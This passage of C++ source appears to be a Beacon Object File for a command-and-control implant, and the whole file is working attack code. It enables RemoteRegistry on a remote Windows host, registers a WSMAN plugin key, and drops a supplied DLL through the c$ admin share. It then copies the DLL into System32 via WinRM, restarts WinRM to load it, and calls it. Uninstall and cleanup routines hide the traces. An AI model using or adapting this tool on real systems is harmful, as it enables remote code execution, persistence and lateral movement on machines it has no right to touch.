%ld\n", GetLastError()); 200 | return FALSE; 201 | } 202 | DEBUG("Success QueryServiceStatusEx\n"); 203 | status->dwCurrentState = svcStatusRRegistry.dwCurrentState; 204 | 205 | if (svcStatusRRegistry.dwCurrentState != SERVICE_RUNNING) { 206 | DEBUG("RemoteRegistry service not running, querying config to see if it needs to be enabled first\n"); 207 | 208 | DWORD bytesNeeded = 0; 209 | if (QueryServiceConfigW(hSvcRRegistry, NULL, 0, &bytesNeeded) || 210 | GetLastError() != ERROR_INSUFFICIENT_BUFFER) { 211 | BeaconPrintf(CALLBACK_ERROR, "error QueryServiceConfigW 1/2: %ld\n", GetLastError()); 212 | return FALSE; 213 | } 214 | DEBUG("Success QueryServiceConfigW 1/2\n"); 215 | 216 | svcConfigRRegistry = (LPQUERY_SERVICE_CONFIGW)HeapAlloc( 217 | GetProcessHeap(), HEAP_ZERO_MEMORY, bytesNeeded); 218 | if (!svcConfigRRegistry) { 219 | BeaconPrintf(CALLBACK_ERROR, "error HeapAlloc: %ld\n", GetLastError()); 220 | return FALSE; 221 | } 222 | DEBUG("Success HeapAlloc\n"); 223 | 224 | if (!QueryServiceConfigW(hSvcRRegistry, svcConfigRRegistry, bytesNeeded, &bytesNeeded)) { 225 | BeaconPrintf(CALLBACK_ERROR, "error QueryServiceConfigW 2/2: %ld\n", GetLastError()); 226 | success = FALSE; 227 | goto closeHeapServiceConfig; 228 | } 229 | DEBUG("Success QueryServiceConfigW 2/2\n"); 230 | status->dwStartType = svcConfigRRegistry->dwStartType; 231 | 232 | if (svcConfigRRegistry->dwStartType == SERVICE_DISABLED) { 233 | DEBUG("RemoteRegistry service is disabled, enabling it\n"); 234 | 235 | if (!ChangeServiceConfigW( 236 | hSvcRRegistry, 237 | SERVICE_NO_CHANGE, 238 | SERVICE_DEMAND_START, 239 | SERVICE_NO_CHANGE, 240 | NULL, 241 | NULL, 242 | NULL, 243 | NULL, 244 | NULL, 245 | NULL, 246 | NULL 247 | )) { 248 | BeaconPrintf(CALLBACK_ERROR, "error ChangeServiceConfigW: %ld\n", GetLastError()); 249 | success = FALSE; 250 | goto closeHeapServiceConfig; 251 | } 252 | DEBUG("Success ChangeServiceConfigW\n"); 253 | } 254 | else { 255 | DEBUG("RemoteRegistry service is already enabled, starting it\n"); 256 | } 257 | 258 | if (!bofStartService(hSvcRRegistry)) { 259 | BeaconPrintf(CALLBACK_ERROR, "error bofStartService\n"); 260 | success = FALSE; 261 | goto closeHeapServiceConfig; 262 | } 263 | DEBUG("RemoteRegistry service started Successfully\n"); 264 | } 265 | else { 266 | DEBUG("RemoteRegistry is running\n"); 267 | } 268 | 269 | 270 | closeHeapServiceConfig: 271 | if (svcConfigRRegistry) HeapFree(GetProcessHeap(), NULL, svcConfigRRegistry); 272 | 273 | return success; 274 | } 275 | 276 | BOOL bofCleanupRRegistry(SC_HANDLE hSvcRRegistry, pStatusRRegistry status) { 277 | if (status->dwCurrentState != SERVICE_RUNNING) { 278 | if(!bofStopService(hSvcRRegistry)){ 279 | BeaconPrintf(CALLBACK_ERROR, "error bofStopService\n"); 280 | return FALSE; 281 | } 282 | 283 | 284 | if (status->dwStartType == SERVICE_DISABLED) { 285 | if (!ChangeServiceConfigW( 286 | hSvcRRegistry, 287 | SERVICE_NO_CHANGE, 288 | SERVICE_DISABLED, 289 | SERVICE_NO_CHANGE, 290 | NULL, 291 | NULL, 292 | NULL, 293 | NULL, 294 | NULL, 295 | NULL, 296 | NULL 297 | )) { 298 | BeaconPrintf(CALLBACK_ERROR, "error ChangeServiceConfigW: %ld\n", GetLastError()); 299 | return FALSE; 300 | } 301 | DEBUG("Success ChangeServiceConfigW\n"); 302 | } 303 | } 304 | return TRUE; 305 | } 306 | 307 | BOOL createWSManSession( 308 | LPCWSTR remoteComputerName, 309 | IWSMan*& pWSMan, 310 | IDispatch*& pSessionDispatch, 311 | IWSManSession*& pSession 312 | ) { 313 | BOOL success = TRUE; 314 | GUID CLSID_WSMAN, IID_IWSMAN, IID_WSMAN_SESSION = { 0 }; 315 | WCHAR remoteComputerNameWsMan[MAX_PATH]; 316 | 317 | HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); 318 | if (FAILED(hr)) { 319 | BeaconPrintf(CALLBACK_ERROR, "error CoInitializeEx, COM error: (hr=%08X)\n", hr); 320 | return FALSE; 321 | } 322 | DEBUG("Success CoInitializeEx\n"); 323 | 324 | CLSIDFromString(L"{BCED617B-EC03-420b-8508-977DC7A686BD}", &CLSID_WSMAN); 325 | CLSIDFromString(L"{190D8637-5CD3-496d-AD24-69636BB5A3B5}", &IID_IWSMAN); 326 | CLSIDFromString(L"{FC84FC58-1286-40c4-9DA0-C8EF6EC241E0}", &IID_WSMAN_SESSION); 327 | 328 | hr = CoCreateInstance(CLSID_WSMAN, NULL, CLSCTX_INPROC_SERVER, IID_IWSMAN, (void**)&pWSMan); 329 | if (FAILED(hr)) { 330 | BeaconPrintf(CALLBACK_ERROR, "error CoCreateInstance, COM error: %ld)\n", hr); 331 | success = FALSE; 332 | goto COMUninitialize; 333 | } 334 | DEBUG("Success CoCreateInstance\n"); 335 | 336 | swprintf_s(remoteComputerNameWsMan, MAX_PATH, L"http://%s:5985/wsman", remoteComputerName); 337 | BSTR connectionUrl = SysAllocString(remoteComputerNameWsMan); 338 | hr = pWSMan->CreateSession(connectionUrl, NULL, NULL, &pSessionDispatch); 339 | if (FAILED(hr)) { 340 | BeaconPrintf(CALLBACK_ERROR, "error CreateSession, COM error: (hr=%08X)\n", hr); 341 | success = FALSE; 342 | goto COMIWSManRelease; 343 | } 344 | DEBUG("Success CreateSession\n"); 345 | 346 | hr = pSessionDispatch->QueryInterface(IID_WSMAN_SESSION, (void**)&pSession); 347 | if (FAILED(hr)) { 348 | BeaconPrintf(CALLBACK_ERROR, "error QueryInterface, COM error: (hr=%08X)\n", hr); 349 | success = FALSE; 350 | goto COMInstanceRelease; 351 | } 352 | DEBUG("Success QueryInterface\n"); 353 | 354 | if (!success) { 355 | COMInstanceRelease: 356 | pSessionDispatch->Release(); 357 | 358 | COMIWSManRelease: 359 | pWSMan->Release(); 360 | 361 | COMUninitialize: 362 | CoUninitialize(); 363 | } 364 | 365 | return success; 366 | } 367 | 368 | BOOL copyFileCIM_LogicalFile(LPCWSTR remoteComputerName) { 369 | BOOL success = TRUE; 370 | VARIANT resourceUri = { 0 }; 371 | IWSMan* pWSMan = NULL; 372 | IDispatch* pSessionDispatch = NULL; 373 | IWSManSession* pSession = NULL; 374 | 375 | if (!createWSManSession(remoteComputerName, pWSMan, pSessionDispatch, pSession)) { 376 | BeaconPrintf(CALLBACK_ERROR, "error createWSManSession\n"); 377 | return FALSE; 378 | } 379 | 380 | WCHAR CIM_LogicalFilePath[MAX_PATH]; 381 | swprintf_s(CIM_LogicalFilePath, MAX_PATH, 382 | LR"(http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/CIM_LogicalFile?name=C:\%s.dll)", 383 | PLUGIN_TEMP_NAME); 384 | VariantInit(&resourceUri); 385 | resourceUri.vt = VT_BSTR; 386 | resourceUri.bstrVal = SysAllocString(CIM_LogicalFilePath); 387 | WCHAR inputParametersXML[512]; 388 | swprintf_s(inputParametersXML, 512, 389 | LR"( 391 | C:\Windows\System32\%s.dll 392 | )", 393 | PLUGIN_NAME); 394 | BSTR inputParameters = SysAllocString(inputParametersXML); 395 | LONG flags = NULL; 396 | BSTR result = NULL; 397 | HRESULT hr = pSession->Invoke(SysAllocString(L"Copy"), resourceUri, inputParameters, flags, &result); 398 | if (FAILED(hr)) { 399 | BeaconPrintf(CALLBACK_ERROR, "error Invoke Copy, COM error: (hr=%08X)\n", hr); 400 | success = FALSE; 401 | goto COMClearVariant; 402 | } 403 | DEBUG("Success Invoke Copy, result: %ws\n", result); 404 | 405 | 406 | COMClearVariant: 407 | VariantClear(&resourceUri); 408 | pSession->Release(); 409 | 410 | COMInstanceRelease: 411 | pSessionDispatch->Release(); 412 | 413 | COMIWSManRelease: 414 | pWSMan->Release(); 415 | 416 | COMUninitialize: 417 | CoUninitialize(); 418 | 419 | return success; 420 | } 421 | 422 | VOID installWinRMService(LPCWSTR remoteComputerName, LPBYTE dllData, DWORD dllDataLength) { 423 | BOOL success = TRUE; 424 | WCHAR remoteComputerNameURI[MAX_PATH]; 425 | swprintf_s(remoteComputerNameURI, MAX_PATH, LR"(\\%s)", remoteComputerName); 426 | statusRRegistry status = { 0 }; 427 | 428 | SC_HANDLE hSCManager = { 0 }; 429 | hSCManager = OpenSCManagerW(remoteComputerNameURI, NULL, SC_MANAGER_CONNECT); 430 | if (hSCManager == NULL) { 431 | BeaconPrintf(CALLBACK_ERROR, "error OpenSCManagerW: %ld\n", GetLastError()); 432 | goto closeSCManager; 433 | } 434 | DEBUG("Success OpenSCManagerW\n"); 435 | 436 | LPCWSTR svcNameRRegistry = L"RemoteRegistry"; 437 | SC_HANDLE hSvcRRegistry = OpenServiceW(hSCManager, svcNameRRegistry, 438 | SERVICE_START | SERVICE_STOP | SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_CHANGE_CONFIG); 439 | if (!hSvcRRegistry) { 440 | BeaconPrintf(CALLBACK_ERROR, "error OpenServiceW: %ld\n", GetLastError()); 441 | goto closeService; 442 | } 443 | DEBUG("Success OpenServiceW\n"); 444 | 445 | // Start RRegistry if necessary 446 | if (!bofStartRRegistry(hSvcRRegistry, &status)) { 447 | BeaconPrintf(CALLBACK_ERROR, "error bofStartRRegistry"); 448 | goto closeService; 449 | } 450 | 451 | // Create registry keys 452 | HKEY hRemoteRegistry = { 0 }; 453 | if (RegConnectRegistryW(remoteComputerNameURI, HKEY_LOCAL_MACHINE, &hRemoteRegistry)) { 454 | BeaconPrintf(CALLBACK_ERROR, "error RegConnectRegistryW: %ld\n", GetLastError()); 455 | goto closeSCManager; 456 | } 457 | DEBUG("Success RegConnectRegistryW\n"); 458 | 459 | WCHAR subKey[MAX_PATH]; 460 | swprintf_s(subKey, MAX_PATH, 461 | LR"(SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Plugin\%s)", 462 | PLUGIN_NAME); 463 | HKEY hKey = { 0 }; 464 | if (RegCreateKeyExW( 465 | hRemoteRegistry, 466 | subKey, 467 | 0, 468 | NULL, 469 | REG_OPTION_NON_VOLATILE, 470 | KEY_WRITE, 471 | NULL, 472 | &hKey, 473 | NULL 474 | )) { 475 | BeaconPrintf(CALLBACK_ERROR, "error RegCreateKeyExW: %ld\n", GetLastError()); 476 | goto closeRegConnectRegistry; 477 | } 478 | DEBUG("Success RegCreateKeyExW"); 479 | 480 | LPCWSTR valueName = L"ConfigXML"; 481 | WCHAR valueDataXML[512]; 482 | swprintf_s(valueDataXML, 512, 483 | LR"( 491 | 492 | 496 | 497 | 498 | 499 | )", 500 | PLUGIN_NAME, PLUGIN_NAME, PLUGIN_NAME); 501 | if (RegSetValueExW( 502 | hKey, 503 | valueName, 504 | 0, 505 | REG_SZ, 506 | (const BYTE*)valueDataXML, 507 | (wcslen(valueDataXML) + 1) * 2 508 | )) { 509 | BeaconPrintf(CALLBACK_ERROR, "error RegSetValueExW: %ld\n", GetLastError()); 510 | goto closeRegKey; 511 | }; 512 | DEBUG("Success RegSetValueExW"); 513 | 514 | 515 | // Copy DLL 516 | WCHAR remotePluginPath[MAX_PATH]; 517 | swprintf_s(remotePluginPath, MAX_PATH, LR"(%s\c$\%s.dll)", 518 | remoteComputerNameURI, PLUGIN_TEMP_NAME); 519 | HANDLE hFile = CreateFileW( 520 | remotePluginPath, 521 | GENERIC_WRITE, 522 | 0, 523 | NULL, 524 | CREATE_NEW, 525 | FILE_ATTRIBUTE_NORMAL, 526 | NULL 527 | ); 528 | if (hFile == INVALID_HANDLE_VALUE) { 529 | if (GetLastError() == ERROR_FILE_EXISTS) { 530 | BeaconPrintf(CALLBACK_ERROR, "error CreateFileW: ERROR_FILE_EXISTS\n"); 531 | } 532 | else { 533 | BeaconPrintf(CALLBACK_ERROR, "error CreateFileW: %ld\n", GetLastError()); 534 | } 535 | success = FALSE; 536 | goto closeRemoveKey; 537 | } 538 | DEBUG("Success CreateFileW"); 539 | 540 | DWORD bytesWritten = 0; 541 | if (!WriteFile( 542 | hFile, 543 | dllData, 544 | dllDataLength, 545 | &bytesWritten, 546 | NULL 547 | )) { 548 | BeaconPrintf(CALLBACK_ERROR, "error WriteFile: %ld\n", GetLastError()); 549 | success = FALSE; 550 | goto closeFile; 551 | } 552 | DEBUG("Success WriteFile, wrote: %ld bytes", bytesWritten); 553 | if (hFile) CloseHandle(hFile); 554 | 555 | if (!copyFileCIM_LogicalFile(remoteComputerName)) { 556 | BeaconPrintf(CALLBACK_ERROR, "error copyFileCIM_LogicalFile"); 557 | success = FALSE; 558 | goto deleteFile; 559 | } 560 | DEBUG("Success copyFileCIM_LogicalFile"); 561 | 562 | 563 | // Restart WinRM 564 | LPCWSTR svcNameWinRM = L"winrm"; 565 | SC_HANDLE hSvcWinRM = OpenServiceW(hSCManager, svcNameWinRM, 566 | SERVICE_STOP | SERVICE_START | SERVICE_QUERY_STATUS); 567 | if (!hSvcWinRM) { 568 | BeaconPrintf(CALLBACK_ERROR, "error OpenServiceW: %ld\n", GetLastError()); 569 | success = FALSE; 570 | goto deleteFile; 571 | } 572 | DEBUG("Success OpenServiceW\n"); 573 | 574 | if (!(bofStopService(hSvcWinRM) && bofStartService(hSvcWinRM))) { 575 | BeaconPrintf(CALLBACK_ERROR, "error Restarting WinRm Service"); 576 | success = FALSE; 577 | goto closeServiceWinRM; 578 | } 579 | DEBUG("Success restart service\n"); 580 | BeaconPrintf(CALLBACK_OUTPUT, "Install operations completed. You can call the plugin now."); 581 | 582 | closeServiceWinRM: 583 | if (hSvcWinRM) CloseServiceHandle(hSvcWinRM); 584 | 585 | deleteFile: 586 | if (!DeleteFileW(remotePluginPath)) { 587 | BeaconPrintf(CALLBACK_ERROR, "error DeleteFileW: %ld\n", GetLastError()); 588 | } 589 | 590 | closeFile: 591 | if (hFile) CloseHandle(hFile); 592 | 593 | closeRemoveKey: 594 | if (!success) { 595 | LPCWSTR subKey = L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN\\Plugin"; 596 | HKEY hKeyPlugins = { 0 }; 597 | LSTATUS res = RegOpenKeyExW( 598 | hRemoteRegistry, 599 | subKey, 600 | NULL, 601 | KEY_SET_VALUE | KEY_ENUMERATE_SUB_KEYS | KEY_QUERY_VALUE, 602 | &hKeyPlugins 603 | ); 604 | if (res) { 605 | BeaconPrintf(CALLBACK_ERROR, "error RegCreateKeyExW: %ld\n", res); 606 | goto closeRegKey; 607 | } 608 | DEBUG("Success RegCreateKeyExW"); 609 | res = RegDeleteTreeW(hKeyPlugins, PLUGIN_NAME); 610 | if (res) { 611 | BeaconPrintf(CALLBACK_ERROR, "error RegDeleteTreeW: %ld\n", res); 612 | goto closeRegKey; 613 | } 614 | DEBUG("Success RegDeleteTreeW"); 615 | if (hKeyPlugins) RegCloseKey(hKeyPlugins); 616 | } 617 | 618 | closeRegKey: 619 | if (hKey) RegCloseKey(hKey); 620 | 621 | closeRegConnectRegistry: 622 | if (!bofCleanupRRegistry(hSvcRRegistry, &status)) { 623 | BeaconPrintf(CALLBACK_ERROR, "error bofCleanupRRegistry"); 624 | } 625 | if (hRemoteRegistry) RegCloseKey(hRemoteRegistry); 626 | 627 | closeService: 628 | if (hSvcRRegistry) CloseServiceHandle(hSvcRRegistry); 629 | 630 | closeSCManager: 631 | if (hSCManager) CloseServiceHandle(hSCManager); 632 | 633 | return; 634 | } 635 | 636 | VOID uninstallWinRMService(LPCWSTR remoteComputerName) { 637 | WCHAR remoteComputerNameURI[MAX_PATH]; 638 | swprintf_s(remoteComputerNameURI, MAX_PATH, LR"(\\%s)", remoteComputerName); 639 | statusRRegistry status = { 0 }; 640 | 641 | SC_HANDLE hSCManager = { 0 }; 642 | hSCManager = OpenSCManagerW(remoteComputerNameURI, NULL, SC_MANAGER_CONNECT); 643 | if (hSCManager == NULL) { 644 | BeaconPrintf(CALLBACK_ERROR, "error OpenSCManagerW: %ld\n", GetLastError()); 645 | goto closeSCManager; 646 | } 647 | DEBUG("Success OpenSCManagerW\n"); 648 | 649 | LPCWSTR svcNameRRegistry = L"RemoteRegistry"; 650 | SC_HANDLE hSvcRRegistry = OpenServiceW(hSCManager, svcNameRRegistry, 651 | SERVICE_START | SERVICE_STOP | SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_CHANGE_CONFIG); 652 | if (!hSvcRRegistry) { 653 | BeaconPrintf(CALLBACK_ERROR, "error OpenServiceW: %ld\n", GetLastError()); 654 | goto closeService; 655 | } 656 | DEBUG("Success OpenServiceW\n"); 657 | 658 | // Start RRegistry if necessary 659 | if (!bofStartRRegistry(hSvcRRegistry, &status)) { 660 | BeaconPrintf(CALLBACK_ERROR, "error bofStartRRegistry"); 661 | goto closeService; 662 | } 663 | 664 | // Delete registry keys 665 | HKEY hRemoteRegistry = { 0 }; 666 | if (RegConnectRegistryW(remoteComputerNameURI, HKEY_LOCAL_MACHINE, &hRemoteRegistry)) { 667 | BeaconPrintf(CALLBACK_ERROR, "error RegConnectRegistryW: %ld\n", GetLastError()); 668 | goto closeSCManager; 669 | } 670 | DEBUG("Success RegConnectRegistryW\n"); 671 | 672 | LPCWSTR subKey = L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN\\Plugin"; 673 | HKEY hKey = { 0 }; 674 | LSTATUS res = RegOpenKeyExW( 675 | hRemoteRegistry, 676 | subKey, 677 | NULL, 678 | KEY_SET_VALUE | KEY_ENUMERATE_SUB_KEYS | KEY_QUERY_VALUE, 679 | &hKey 680 | ); 681 | if (res) { 682 | BeaconPrintf(CALLBACK_ERROR, "error RegCreateKeyExW: %ld\n", res); 683 | goto closeRegConnectRegistry; 684 | } 685 | DEBUG("Success RegCreateKeyExW"); 686 | 687 | res = RegDeleteTreeW(hKey, PLUGIN_NAME); 688 | if (res) { 689 | BeaconPrintf(CALLBACK_ERROR, "error RegDeleteTreeW: %ld\n", res); 690 | goto closeRegKey; 691 | } 692 | DEBUG("Success RegDeleteTreeW"); 693 | 694 | 695 | // Restart WinRM 696 | LPCWSTR svcNameWinRM = L"winrm"; 697 | SC_HANDLE hSvcWinRM = OpenServiceW(hSCManager, svcNameWinRM, 698 | SERVICE_STOP | SERVICE_START | SERVICE_QUERY_STATUS); 699 | if (!hSvcWinRM) { 700 | BeaconPrintf(CALLBACK_ERROR, "error OpenServiceW: %ld\n", GetLastError()); 701 | goto closeRegKey; 702 | } 703 | DEBUG("Success OpenServiceW\n"); 704 | 705 | if (!(bofStopService(hSvcWinRM) && bofStartService(hSvcWinRM))) { 706 | BeaconPrintf(CALLBACK_ERROR, "error Restarting WinRm Service"); 707 | goto closeServiceWinRM; 708 | } 709 | DEBUG("Success restart service.\n"); 710 | 711 | 712 | // Delete file 713 | WCHAR remotePluginPath[MAX_PATH]; 714 | swprintf_s(remotePluginPath, MAX_PATH, LR"(%s\c$\Windows\System32\%s.dll)", 715 | remoteComputerNameURI, PLUGIN_NAME); 716 | DWORD bytesWritten = 0; 717 | if (!DeleteFileW(remotePluginPath)) { 718 | BeaconPrintf(CALLBACK_ERROR, "error DeleteFileW: %ld\n", GetLastError()); 719 | goto closeServiceWinRM; 720 | } 721 | DEBUG("Success DeleteFileW"); 722 | BeaconPrintf(CALLBACK_OUTPUT, "Uninstall operations completed"); 723 | 724 | 725 | closeServiceWinRM: 726 | if (hSvcWinRM) CloseServiceHandle(hSvcWinRM); 727 | 728 | closeRegKey: 729 | if (hKey) RegCloseKey(hKey); 730 | 731 | closeRegConnectRegistry: 732 | if (!bofCleanupRRegistry(hSvcRRegistry, &status)) { 733 | BeaconPrintf(CALLBACK_ERROR, "error bofCleanupRRegistry"); 734 | goto closeRegKey; 735 | } 736 | if (hRemoteRegistry) RegCloseKey(hRemoteRegistry); 737 | 738 | closeService: 739 | if (hSvcRRegistry) CloseServiceHandle(hSvcRRegistry); 740 | 741 | closeSCManager: 742 | if (hSCManager) CloseServiceHandle(hSCManager); 743 | 744 | return; 745 | } 746 | 747 | VOID callWinRMService(LPCWSTR remoteComputerName) { 748 | BOOL success = TRUE; 749 | VARIANT resourceUri = { 0 }; 750 | IWSMan* pWSMan = NULL; 751 | IDispatch* pSessionDispatch = NULL; 752 | IWSManSession* pSession = NULL; 753 | 754 | if (!createWSManSession(remoteComputerName, pWSMan, pSessionDispatch, pSession)) { 755 | BeaconPrintf(CALLBACK_ERROR, "error createWSManSession\n"); 756 | return; 757 | } 758 | 759 | VariantInit(&resourceUri); 760 | resourceUri.vt = VT_BSTR; 761 | WCHAR WSManPluginURI[MAX_PATH]; 762 | swprintf_s(WSManPluginURI, MAX_PATH, LR"(https://schemas.microsoft.com/%s)", PLUGIN_NAME); 763 | resourceUri.bstrVal = SysAllocString(WSManPluginURI); 764 | BSTR resourceData = SysAllocString(L""); 765 | LONG flags = NULL; 766 | BSTR result = NULL; 767 | HRESULT hr = pSession->Put(resourceUri, resourceData, flags, &result); 768 | if (FAILED(hr)) { 769 | BeaconPrintf(CALLBACK_ERROR, "error Put, COM error: (hr=%08X)\n", hr); 770 | goto COMClearVariant; 771 | } 772 | DEBUG("Success Put, result: %ws\n", result); 773 | BeaconPrintf(CALLBACK_OUTPUT, "WinRM Put call done"); 774 | 775 | 776 | COMClearVariant: 777 | VariantClear(&resourceUri); 778 | pSession->Release(); 779 | 780 | COMInstanceRelease: 781 | pSessionDispatch->Release(); 782 | 783 | COMIWSManRelease: 784 | pWSMan->Release(); 785 | 786 | COMUninitialize: 787 | CoUninitialize(); 788 | 789 | return; 790 | } 791 | 792 | void go(char* args, int length) { 793 | 794 | #ifndef _DEBUG 795 | datap parser; 796 | DWORD dllDataLength; 797 | BeaconDataParse(&parser, args, length); 798 | PWCHAR action = (PWCHAR)BeaconDataExtract(&parser, NULL); 799 | LPBYTE dllData = (LPBYTE)BeaconDataExtract(&parser, (int*)(&dllDataLength)); 800 | PWCHAR remoteComputerName = (PWCHAR)BeaconDataExtract(&parser, NULL); 801 | #else 802 | LPCWSTR remoteComputerName = L"localhost"; 803 | WCHAR action[] = ACTION_INSTALL; 804 | DWORD dllDataLength = 100; 805 | LPBYTE dllData = NULL; 806 | #endif 807 | DEBUG("action: %ws", action); 808 | DEBUG("dllDataLength: %ld", dllDataLength); 809 | DEBUG("remoteComputerName: %ws", remoteComputerName); 810 | 811 | if (wcscmp(action, ACTION_INSTALL) == 0) { 812 | installWinRMService(remoteComputerName, dllData, dllDataLength); 813 | } 814 | else if (wcscmp(action, ACTION_UNINSTALL) == 0) { 815 | uninstallWinRMService(remoteComputerName); 816 | } 817 | else if (wcscmp(action, ACTION_CALL) == 0) { 818 | callWinRMService(remoteComputerName); 819 | } 820 | else { 821 | BeaconPrintf(CALLBACK_ERROR, "No valid action was passed"); 822 | } 823 | } 824 | } 825 | 826 | // Define a main function for the bebug build 827 | #if defined(_DEBUG) && !defined(_GTEST) 828 | 829 | int main(int argc, char* argv[]) { 830 | // Run BOF's entrypoint 831 | // To pack arguments for the bof use e.g.: bof::runMocked(go, 6502, 42, "foobar"); 832 | bof::runMocked<>(go); 833 | return 0; 834 | } 835 | 836 | // Define unit tests 837 | #elif defined(_GTEST) 838 | #include 839 | 840 | TEST(BofTest, Test1) { 841 | std::vector got = 842 | bof::runMocked<>(go); 843 | std::vector expected = { 844 | {CALLBACK_OUTPUT, "System Directory: C:\\Windows\\system32"} 845 | }; 846 | // It is possible to compare the OutputEntry vectors, like directly 847 | // ASSERT_EQ(expected, got); 848 | // However, in this case, we want to compare the output, ignoring the case. 849 | ASSERT_EQ(expected.size(), got.size()); 850 | ASSERT_STRCASEEQ(expected[0].output.c_str(), got[0].output.c_str()); 851 | } 852 | #endif --------------------------------------------------------------------------------